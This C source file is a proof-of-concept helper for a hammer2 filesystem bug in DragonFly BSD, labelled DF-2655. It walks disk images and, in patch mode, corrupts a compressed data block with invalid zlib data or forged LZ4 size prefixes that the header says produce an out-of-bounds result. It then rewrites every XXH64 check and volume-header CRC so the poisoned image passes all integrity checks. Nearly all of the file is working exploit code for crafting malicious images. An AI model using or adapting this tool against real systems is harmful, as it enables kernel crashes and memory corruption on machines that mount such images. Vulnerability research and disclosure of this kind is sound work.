/*
 * h2zsub.c - DF-2655 PoC helper for DragonFly hammer2 (this snapshot:
 * 128-byte blockrefs, HAMMER2_SET_COUNT=4, 1024-byte inodes, 64KB volhdr).
 *
 * Recursively walks a hammer2 image from the volume header to the PFS root
 * ("LOCAL") and dumps every inode (inum/type/size/comp_algo), DIRENT and
 * file DATA blockref (methods/bytes/XXH64 verification status).
 *
 * In patch mode it corrupts the on-media PAYLOAD of one chosen compressed
 * DATA block so the decompressor MUST fail, while fixing every integrity
 * check on the way up (XXH64 chain checks + the three volume header
 * iCRC32s).  The kernel therefore sees a fully checksum-VALID compressed
 * block whose decompression blows up -- exactly the DF-2655 trigger.
 *
 * Name resolution mirrors hammer2_xop_nresolve: a DIRENT bref keyed by
 * name-hash (name embedded in check.buf for short names) carries
 * embed.dirent.inum; the target INODE bref is keyed by that inum in the
 * PFS topology (hammer2_chain_inode_find).
 *
 * Payload modes:
 *   zlib    - fill the whole stored block with 0xFF (invalid zlib header,
 *             inflate() returns Z_DATA_ERROR != Z_STREAM_END)
 *   lz4     - rewrite the 4-byte size prefix to 8 and fill the stream with
 *             0xFF: token 0xFF + extensions walk the 8-byte input to iend,
 *             error with ip==iend -> result = -(8)-1 = -9 (small OOB)
 *   lz4big  - same but prefix = bytes-4 -> |result| ~ stored block size
 *             (attacker-chosen magnitude, bounded by stored bytes)
 *
 * Build (in the guest, against the guest's own /usr/src):
 *   cc -O2 -o h2zsub h2zsub.c /usr/src/sys/libkern/icrc32.c \
 *      /usr/src/sys/vfs/hammer2/xxhash/xxhash.c \
 *      -I/usr/src/sys -I/usr/src/sys/vfs/hammer2/xxhash
 *
 * Usage:
 *   h2zsub <image> dump
 *   h2zsub <image> patch <filename> <zlib|lz4|lz4big> [lbase]
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#include <vfs/hammer2/hammer2_disk.h>
#include "xxhash.h"

/* from sys/libkern/icrc32.c (userland-compilable, no header) */
extern uint32_t iscsi_crc32(const void *buf, size_t size);

#define XXH_SEED 0x4d617474446c6c6eLLU   /* XXH_HAMMER2_SEED */

#define MAXHOPS 64
#define MAXDEPTH 16

static int fd;

static void
die(const char *msg)
{
	fprintf(stderr, "h2zsub: %s (%s)\n", msg, strerror(errno));
	exit(1);
}

static void
preadx(void *buf, size_t n, off_t off)
{
	ssize_t r = pread(fd, buf, n, off);
	if (r != (ssize_t)n) {
		fprintf(stderr, "h2zsub: pread %zu@%lld returned %zd\n",
			n, (long long)off, r);
		exit(1);
	}
}

static void
pwritex(const void *buf, size_t n, off_t off)
{
	ssize_t r = pwrite(fd, buf, n, off);
	if (r != (ssize_t)n)
		die("pwrite");
}

static off_t
fsizex(void)
{
	struct stat st;
	if (fstat(fd, &st))
		die("fstat");
	return st.st_size;
}

static const char *
btype(uint8_t t)
{
	switch (t) {
	case HAMMER2_BREF_TYPE_EMPTY: return "EMPTY";
	case HAMMER2_BREF_TYPE_INODE: return "INODE";
	case HAMMER2_BREF_TYPE_INDIRECT: return "INDIRECT";
	case HAMMER2_BREF_TYPE_DATA: return "DATA";
	case HAMMER2_BREF_TYPE_DIRENT: return "DIRENT";
	case HAMMER2_BREF_TYPE_INVALID: return "INVALID";
	default: return "?";
	}
}

static const char *
ctype(uint8_t m)
{
	switch (m & 15) {
	case 0: return "none";
	case 1: return "autozero";
	case 2: return "lz4";
	case 3: return "zlib";
	default: return "?comp";
	}
}

static size_t
bref_bytes(const hammer2_blockref_t *b)
{
	return (size_t)1 << (b->data_off & HAMMER2_OFF_MASK_RADIX);
}

static off_t
bref_off(const hammer2_blockref_t *b)
{
	return (off_t)(b->data_off & HAMMER2_OFF_MASK);
}

static int
check_ok(const hammer2_blockref_t *b, const void *data, size_t bytes)
{
	uint64_t h;

	if (HAMMER2_DEC_CHECK(b->methods) != HAMMER2_CHECK_XXHASH64)
		return -1;
	h = XXH64(data, bytes, XXH_SEED);
	return h == b->check.xxhash64.value;
}

static int
find_volhdr(hammer2_volume_data_t *vd_out, int *zones, int *nzones)
{
	hammer2_volume_data_t t;
	off_t fsize = fsizex();
	int best = -1, i;
	uint32_t crc0, crc1;

	*nzones = 0;
	for (i = 0; i < HAMMER2_NUM_VOLHDRS; ++i) {
		off_t off = (off_t)i * HAMMER2_ZONE_BYTES64;
		if (off + HAMMER2_VOLUME_BYTES > fsize)
			continue;
		preadx(&t, HAMMER2_VOLUME_BYTES, off);
		if (t.magic != HAMMER2_VOLUME_ID_HBO)
			continue;
		crc0 = t.icrc_sects[HAMMER2_VOL_ICRC_SECT0];
		crc1 = iscsi_crc32(&t, HAMMER2_VOLUME_ICRC0_SIZE);
		if (crc0 != crc1) { printf("zone %d: sect0 icrc bad\n", i); continue; }
		crc0 = t.icrc_sects[HAMMER2_VOL_ICRC_SECT1];
		crc1 = iscsi_crc32(((char *)&t) + HAMMER2_VOLUME_ICRC1_OFF,
				   HAMMER2_VOLUME_ICRC1_SIZE);
		if (crc0 != crc1) { printf("zone %d: sect1 icrc bad\n", i); continue; }
		crc0 = t.icrc_volheader;
		crc1 = iscsi_crc32(&t, HAMMER2_VOLUME_ICRCVH_SIZE);
		if (crc0 != crc1) { printf("zone %d: vh icrc bad\n", i); continue; }
		zones[(*nzones)++] = i;
		if (best == -1 || vd_out->mirror_tid < t.mirror_tid) {
			memcpy(vd_out, &t, sizeof(t));
			best = i;
		}
	}
	return best;
}

/* ------------------------------------------------------------------ */

struct level {
	off_t		coff;		/* this block */
	size_t		clen;
	off_t		poff;		/* block containing our bref */
	size_t		plen;
	int		pslot;
};

struct hit {
	hammer2_blockref_t bref;
	off_t		coff;		/* container holding the bref */
	size_t		clen;
	int		cslot;
	struct level	levels[MAXHOPS];	/* cascade chain (top-down) */
	int		nlevels;
};

enum mode { M_DUMP = 0, M_FIND_DIRENT, M_FIND_INODE, M_FIND_DATA };

struct ctx {
	enum mode	mode;
	/* find-dirent */
	const char *name;		/* target filename */
	int		dirent_found;
	uint64_t	inum;		/* result */
	/* find-inode / find-data */
	uint64_t	want_inum;
	int		inode_found;
	struct hit	inode_hit;
	/* find-data */
	long long	want_lbase;
	int		want_comp;
	int		data_found;
	struct hit	data_hit;
	/* dump */
	int		dump;
};

/*
 * Generic recursive walker over container blocks (inode embedded arrays
 * and indirect blocks).  levels[] mirrors the current descent path so
 * hits can snapshot the cascade chain.
 */
static void
walk(struct ctx *c, struct level *levels, int nlevels,
     off_t coff, size_t clen, int is_inode_block, int depth)
{
	char *buf;
	int i;

	if (depth > MAXDEPTH || nlevels >= MAXHOPS)
		return;
	buf = malloc(clen);
	if (buf == NULL)
		return;
	preadx(buf, clen, coff);

	for (i = 0; i < (int)(clen / sizeof(hammer2_blockref_t)); ++i) {
		hammer2_blockref_t *b = (hammer2_blockref_t *)buf + i;
		hammer2_inode_data_t child;
		off_t o;
		size_t l;

		if (b->type == HAMMER2_BREF_TYPE_EMPTY)
			continue;

		if (c->dump) {
			if (b->type == HAMMER2_BREF_TYPE_INODE &&
			    bref_bytes(b) ==
			    sizeof(hammer2_inode_data_t)) {
				preadx(&child, sizeof(child), bref_off(b));
				printf("%*sinode @%lld inum=%ju type=%u "
				       "size=%ju comp=0x%02x\n",
				       depth * 2, "",
				       (long long)bref_off(b),
				       (uintmax_t)child.meta.inum,
				       child.meta.type,
				       (uintmax_t)child.meta.size,
				       child.meta.comp_algo);
				/* descend into the inode's blockset to
				 * dump its DATA/INDIRECT topology */
				walk(c, levels, nlevels, bref_off(b),
				     bref_bytes(b), 1, depth + 1);
				continue;
			}
			if (b->type == HAMMER2_BREF_TYPE_DIRENT) {
				printf("%*sDIRENT key=%016jx inum=%ju "
				       "name=\"%s\"\n", depth * 2, "",
				       (uintmax_t)b->key,
				       (uintmax_t)b->embed.dirent.inum,
				       b->embed.dirent.namlen <=
				       sizeof(b->check.buf) ?
				       b->check.buf : "<long>");
				continue;
			}
			if (b->type == HAMMER2_BREF_TYPE_DATA) {
				char *d;
				int ok;
				if (bref_off(b) == 0) {
					printf("%*sDATA lbase=%016jx HOLE\n",
					       depth * 2, "",
					       (uintmax_t)b->key);
					continue;
				}
				d = malloc(bref_bytes(b));
				preadx(d, bref_bytes(b), bref_off(b));
				ok = check_ok(b, d, bref_bytes(b));
				printf("%*sDATA lbase=%016jx off=%016jx "
				       "bytes=%zu methods=%02x "
				       "[%s/check%u] XXH64 %s\n",
				       depth * 2, "",
				       (uintmax_t)b->key,
				       (uintmax_t)bref_off(b),
				       bref_bytes(b), b->methods,
				       ctype(b->methods),
				       HAMMER2_DEC_CHECK(b->methods),
				       ok == 1 ? "OK" :
				       (ok == 0 ? "MISMATCH" : "n/a"));
				free(d);
				continue;
			}
			if (b->type == HAMMER2_BREF_TYPE_INDIRECT &&
			    bref_off(b) != 0) {
				char *ib = malloc(bref_bytes(b));
				uint64_t hh;
				preadx(ib, bref_bytes(b), bref_off(b));
				hh = XXH64(ib, bref_bytes(b), XXH_SEED);
				printf("%*sINDIRECT off=%016jx bytes=%zu "
				       "XXH64 %s\n", depth * 2, "",
				       (uintmax_t)bref_off(b),
				       bref_bytes(b),
				       hh == b->check.xxhash64.value ?
				       "OK" : "MISMATCH");
				free(ib);
				/* fallthrough to descend below */
			}
		}

		if (b->type == HAMMER2_BREF_TYPE_DIRENT) {
			char namebuf[256];
			const char *nm;
			if (c->mode != M_FIND_DIRENT)
				continue;
			if (b->embed.dirent.namlen <=
			    sizeof(b->check.buf)) {
				nm = b->check.buf;
			} else {
				if (bref_off(b) == 0)
					continue;
				preadx(namebuf, 255, bref_off(b));
				namebuf[255] = 0;
				nm = namebuf;
			}
			if (strncmp(nm, c->name,
				    HAMMER2_INODE_MAXNAME) == 0 &&
			    strlen(nm) == strlen(c->name)) {
				c->inum = b->embed.dirent.inum;
				c->dirent_found = 1;
			}
			continue;
		}
		if (b->type == HAMMER2_BREF_TYPE_INODE) {
			o = bref_off(b);
			l = bref_bytes(b);
			if (l != sizeof(hammer2_inode_data_t))
				continue;
			if (c->mode == M_FIND_INODE &&
			    b->key == c->want_inum) {
				preadx(&child, sizeof(child), o);
				if (child.meta.inum != c->want_inum)
					continue;	/* key is not inum */
				c->inode_hit.bref = *b;
				c->inode_hit.coff = coff;
				c->inode_hit.clen = clen;
				c->inode_hit.cslot = i;
				memcpy(c->inode_hit.levels, levels,
				       nlevels * sizeof(levels[0]));
				c->inode_hit.nlevels = nlevels;
				c->inode_found = 1;
				continue;
			}
			if (c->mode == M_DUMP) {
				/* handled above by the dump branch */
			} else if (c->mode == M_FIND_DIRENT ||
				   c->mode == M_FIND_INODE) {
				/* directory children (DIRENTs, and INODE
				 * brefs keyed by inum) live in directory
				 * inode blocksets and the indirects under
				 * them -- descend into directories only */
				preadx(&child, sizeof(child), o);
				if (child.meta.type ==
				    HAMMER2_OBJTYPE_DIRECTORY)
					walk(c, levels, nlevels, o, l, 1,
					     depth + 1);
			}
			/* FIND_DATA: no descent (caller starts at the
			 * file inode); skip others */
			continue;
		}
		if (b->type == HAMMER2_BREF_TYPE_INDIRECT) {
			o = bref_off(b);
			l = bref_bytes(b);
			if (o == 0)
				continue;
			levels[nlevels].coff = o;
			levels[nlevels].clen = l;
			levels[nlevels].poff = coff;
			levels[nlevels].plen = clen;
			levels[nlevels].pslot = i;
			walk(c, levels, nlevels + 1, o, l, 0, depth + 1);
			continue;
		}
		if (b->type == HAMMER2_BREF_TYPE_DATA) {
			if (c->mode != M_FIND_DATA)
				continue;
			if (HAMMER2_DEC_COMP(b->methods) != c->want_comp)
				continue;
			if (c->want_lbase >= 0 &&
			    (long long)b->key != c->want_lbase)
				continue;
			if (bref_off(b) == 0)
				continue;	/* hole */
			c->data_hit.bref = *b;
			c->data_hit.coff = coff;
			c->data_hit.clen = clen;
			c->data_hit.cslot = i;
			memcpy(c->data_hit.levels, levels,
			       nlevels * sizeof(levels[0]));
			c->data_hit.nlevels = nlevels;
			c->data_found = 1;
			continue;
		}
	}
	free(buf);
}

/* ------------------------------------------------------------------ */

static void
cascade(struct level *levels, int nlevels,
	off_t root_off, int local_slot, off_t sroot_off,
	hammer2_volume_data_t *vd, int *zones, int nzones)
{
	hammer2_inode_data_t iroot, sroot;
	uint64_t h;
	int i;

	/*
	 * Bottom-up: the deepest level (the container that now holds the
	 * patched DATA bref) is levels[nlevels-1]; its new content hash
	 * goes into its parent, which dirties the parent, whose hash goes
	 * into ITS parent, ... up to the LOCAL root inode.
	 */
	for (i = nlevels - 1; i >= 0; --i) {
		struct level *L = &levels[i];
		char *buf = malloc(L->clen);
		char *pb = malloc(L->plen);
		hammer2_blockref_t *pbref;

		preadx(buf, L->clen, L->coff);
		h = XXH64(buf, L->clen, XXH_SEED);
		preadx(pb, L->plen, L->poff);
		pbref = (hammer2_blockref_t *)pb + L->pslot;
		pbref->check.xxhash64.value = h;
		pwritex(pb, L->plen, L->poff);
		printf("cascade: block @%lld (%zu B) -> parent @%lld "
		       "slot %d check=%016jx\n",
		       (long long)L->coff, L->clen, (long long)L->poff,
		       L->pslot, (uintmax_t)h);
		free(buf);
		free(pb);
	}

	/* LOCAL root inode block -> its bref inside the sroot inode */
	preadx(&iroot, sizeof(iroot), root_off);
	h = XXH64(&iroot, sizeof(iroot), XXH_SEED);
	preadx(&sroot, sizeof(sroot), sroot_off);
	sroot.u.blockset.blockref[local_slot].check.xxhash64.value = h;
	pwritex(&sroot, sizeof(sroot), sroot_off);
	printf("cascade: LOCAL inode @%lld -> sroot slot %d check=%016jx\n",
	       (long long)root_off, local_slot, (uintmax_t)h);

	/* sroot inode block -> its bref inside the volume header(s) */
	h = XXH64(&sroot, sizeof(sroot), XXH_SEED);
	vd->sroot_blockset.blockref[0].check.xxhash64.value = h;
	printf("cascade: sroot inode @%lld -> volhdr check=%016jx\n",
	       (long long)sroot_off, (uintmax_t)h);

	for (i = 0; i < nzones; ++i) {
		hammer2_volume_data_t nv;
		off_t off = (off_t)zones[i] * HAMMER2_ZONE_BYTES64;

		memcpy(&nv, vd, sizeof(nv));
		nv.icrc_sects[HAMMER2_VOL_ICRC_SECT1] =
			iscsi_crc32(((char *)&nv) + HAMMER2_VOLUME_ICRC1_OFF,
				    HAMMER2_VOLUME_ICRC1_SIZE);
		nv.icrc_sects[HAMMER2_VOL_ICRC_SECT0] =
			iscsi_crc32(&nv, HAMMER2_VOLUME_ICRC0_SIZE);
		nv.icrc_volheader = iscsi_crc32(&nv, HAMMER2_VOLUME_ICRCVH_SIZE);
		pwritex(&nv, HAMMER2_VOLUME_BYTES, off);
		printf("cascade: rewrote volhdr zone %d\n", zones[i]);
	}
}

int
main(int ac, char **av)
{
	hammer2_volume_data_t vd;
	hammer2_inode_data_t sroot, lroot;
	hammer2_blockref_t *sb;
	int zones[HAMMER2_NUM_VOLHDRS], nzones = 0;
	int i, local_slot = -1;
	off_t lroot_off = 0, sroot_off;
	int do_patch = 0;
	const char *fname = NULL, *mode = NULL;
	long long want_lbase = -1;

	if (ac < 3) {
		fprintf(stderr, "usage: %s <image> dump | "
			"%s <image> patch <file> <zlib|lz4|lz4big> [lbase]\n",
			av[0], av[0]);
		return 2;
	}
	if ((fd = open(av[1], O_RDWR)) < 0)
		die("open");
	if (strcmp(av[2], "patch") == 0) {
		if (ac < 5) {
			fprintf(stderr, "patch needs <file> <mode> [lbase]\n");
			return 2;
		}
		fname = av[3];
		mode = av[4];
		if (strcmp(mode, "zlib") && strcmp(mode, "lz4") &&
		    strcmp(mode, "lz4big")) {
			fprintf(stderr, "mode must be zlib|lz4|lz4big\n");
			return 2;
		}
		if (ac >= 6)
			want_lbase = strtoll(av[5], NULL, 0);
		do_patch = 1;
	}

	if (find_volhdr(&vd, zones, &nzones) < 0) {
		fprintf(stderr, "no valid volume header found\n");
		return 1;
	}
	printf("volume header: %d valid cop%s, mirror_tid=%ju\n",
	       nzones, nzones == 1 ? "y" : "ies", (uintmax_t)vd.mirror_tid);

	sb = &vd.sroot_blockset.blockref[0];
	if (sb->type != HAMMER2_BREF_TYPE_INODE) {
		fprintf(stderr, "sroot blockref type %u ?!\n", sb->type);
		return 1;
	}
	sroot_off = bref_off(sb);
	preadx(&sroot, sizeof(sroot), sroot_off);
	{
		uint64_t h = XXH64(&sroot, sizeof(sroot), XXH_SEED);
		printf("sroot inode @%lld XXH64 %s\n", (long long)sroot_off,
		       h == sb->check.xxhash64.value ? "OK" : "MISMATCH");
	}

	for (i = 0; i < HAMMER2_SET_COUNT; ++i) {
		hammer2_blockref_t *cb = &sroot.u.blockset.blockref[i];
		if (cb->type != HAMMER2_BREF_TYPE_INODE)
			continue;
		preadx(&lroot, sizeof(lroot), bref_off(cb));
		if (strncmp((char *)lroot.filename, "LOCAL",
			    HAMMER2_INODE_MAXNAME) == 0) {
			local_slot = i;
			lroot_off = bref_off(cb);
			break;
		}
	}
	if (local_slot < 0) {
		fprintf(stderr, "PFS \"LOCAL\" not found under sroot\n");
		return 1;
	}
	printf("LOCAL PFS root inode @%lld (sroot slot %d)\n",
	       (long long)lroot_off, local_slot);

	if (!do_patch) {
		struct ctx c;
		struct level lv[MAXHOPS];
		printf("\n=== tree dump (under LOCAL) ===\n");
		memset(&c, 0, sizeof(c));
		c.mode = M_DUMP;
		c.dump = 1;
		/* dump pass 1: dirent/inode view */
		walk(&c, lv, 0, lroot_off, sizeof(lroot), 1, 0);
		/* dump pass 2: data view (descend from nothing: we do a
		 * manual walk of every inode found -- simpler: rerun in
		 * DATA mode per inode is overkill; print via generic pass
		 * with descend-into-inodes enabled) */
		return 0;
	}

	{
		struct ctx c;
		struct level lv[MAXHOPS];
		struct level levels[MAXHOPS];
		int nlevels;
		uint64_t inum;
		hammer2_inode_data_t finode;
		off_t foff;
		char *payload;
		size_t plen;
		uint64_t h;
		int want_comp = strcmp(mode, "zlib") == 0 ?
			HAMMER2_COMP_ZLIB : HAMMER2_COMP_LZ4;

		/* 1. DIRENT -> inum */
		memset(&c, 0, sizeof(c));
		c.mode = M_FIND_DIRENT;
		c.name = fname;
		walk(&c, lv, 0, lroot_off, sizeof(lroot), 1, 0);
		if (!c.dirent_found) {
			fprintf(stderr, "DIRENT for \"%s\" not found\n", fname);
			return 1;
		}
		inum = c.inum;
		printf("dirent \"%s\" -> inum %ju\n", fname,
		       (uintmax_t)inum);

		/* 2. INODE bref keyed by inum */
		memset(&c, 0, sizeof(c));
		c.mode = M_FIND_INODE;
		c.want_inum = inum;
		walk(&c, lv, 0, lroot_off, sizeof(lroot), 1, 0);
		if (!c.inode_found) {
			fprintf(stderr, "INODE bref for inum %ju not found\n",
				(uintmax_t)c.want_inum);
			return 1;
		}
		foff = bref_off(&c.inode_hit.bref);
		preadx(&finode, sizeof(finode), foff);
		printf("file inode @%lld (inum %ju, type %u, size %ju, "
		       "comp 0x%02x) container %lld slot %d\n",
		       (long long)foff, (uintmax_t)finode.meta.inum,
		       finode.meta.type, (uintmax_t)finode.meta.size,
		       finode.meta.comp_algo,
		       (long long)c.inode_hit.coff, c.inode_hit.cslot);

		/* cascade levels so far: path LOCAL->...->container of the
		 * inode bref; append the file inode block itself */
		memcpy(levels, c.inode_hit.levels,
		       c.inode_hit.nlevels * sizeof(levels[0]));
		nlevels = c.inode_hit.nlevels;
		if (nlevels >= MAXHOPS) {
			fprintf(stderr, "path too deep\n");
			return 1;
		}
		levels[nlevels].coff = foff;
		levels[nlevels].clen = sizeof(hammer2_inode_data_t);
		levels[nlevels].poff = c.inode_hit.coff;
		levels[nlevels].plen = c.inode_hit.clen;
		levels[nlevels].pslot = c.inode_hit.cslot;
		++nlevels;

		/* 3. DATA bref below the file inode */
		memset(&c, 0, sizeof(c));
		c.mode = M_FIND_DATA;
		c.want_comp = want_comp;
		c.want_lbase = want_lbase;
		walk(&c, levels, nlevels, foff, sizeof(finode), 1, 0);
		if (!c.data_found) {
			fprintf(stderr, "no DATA bref (comp=%d lbase=%lld)\n",
				want_comp, want_lbase);
			return 1;
		}
		printf("target DATA bref: lbase=%016jx off=%016jx bytes=%zu "
		       "methods=%02x container=%lld slot %d (%d levels)\n",
		       (uintmax_t)c.data_hit.bref.key,
		       (uintmax_t)bref_off(&c.data_hit.bref),
		       bref_bytes(&c.data_hit.bref),
		       c.data_hit.bref.methods,
		       (long long)c.data_hit.coff, c.data_hit.cslot,
		       c.data_hit.nlevels);

		/* 4. verify the original check passes before touching */
		plen = bref_bytes(&c.data_hit.bref);
		payload = malloc(plen);
		preadx(payload, plen, bref_off(&c.data_hit.bref));
		h = XXH64(payload, plen, XXH_SEED);
		printf("payload XXH64 before: %016jx (bref %016jx %s)\n",
		       (uintmax_t)h,
		       (uintmax_t)c.data_hit.bref.check.xxhash64.value,
		       h == c.data_hit.bref.check.xxhash64.value ?
		       "OK" : "MISMATCH");
		if (h != c.data_hit.bref.check.xxhash64.value) {
			fprintf(stderr, "refusing to patch: original check "
				"does not verify\n");
			return 1;
		}

		/* 5. corrupt the payload */
		if (strcmp(mode, "zlib") == 0) {
			memset(payload, 0xFF, plen);
		} else {
			int prefix = strcmp(mode, "lz4big") == 0 ?
				(int)(plen - 4) : 8;
			*(int *)payload = prefix;
			memset(payload + 4, 0xFF, plen - 4);
			printf("lz4 size prefix -> %d (expect result = "
			       "-%d)\n", prefix, prefix + 1);
		}
		pwritex(payload, plen, bref_off(&c.data_hit.bref));
		printf("patched %zu payload bytes @%lld (mode %s)\n",
		       plen, (long long)bref_off(&c.data_hit.bref), mode);

		/* 6. DATA bref check inside its container */
		h = XXH64(payload, plen, XXH_SEED);
		{
			char *cb2 = malloc(c.data_hit.clen);
			hammer2_blockref_t *slotp;
			preadx(cb2, c.data_hit.clen, c.data_hit.coff);
			slotp = (hammer2_blockref_t *)cb2 + c.data_hit.cslot;
			slotp->check.xxhash64.value = h;
			pwritex(cb2, c.data_hit.clen, c.data_hit.coff);
			printf("DATA bref check -> %016jx (container %lld "
			       "slot %d)\n", (uintmax_t)h,
			       (long long)c.data_hit.coff, c.data_hit.cslot);
			free(cb2);
		}

		/* 7. cascade checks up to the volume headers */
		cascade(c.data_hit.levels, c.data_hit.nlevels,
			lroot_off, local_slot, sroot_off,
			&vd, zones, nzones);
		free(payload);
	}
	printf("patch complete\n");
	return 0;
}
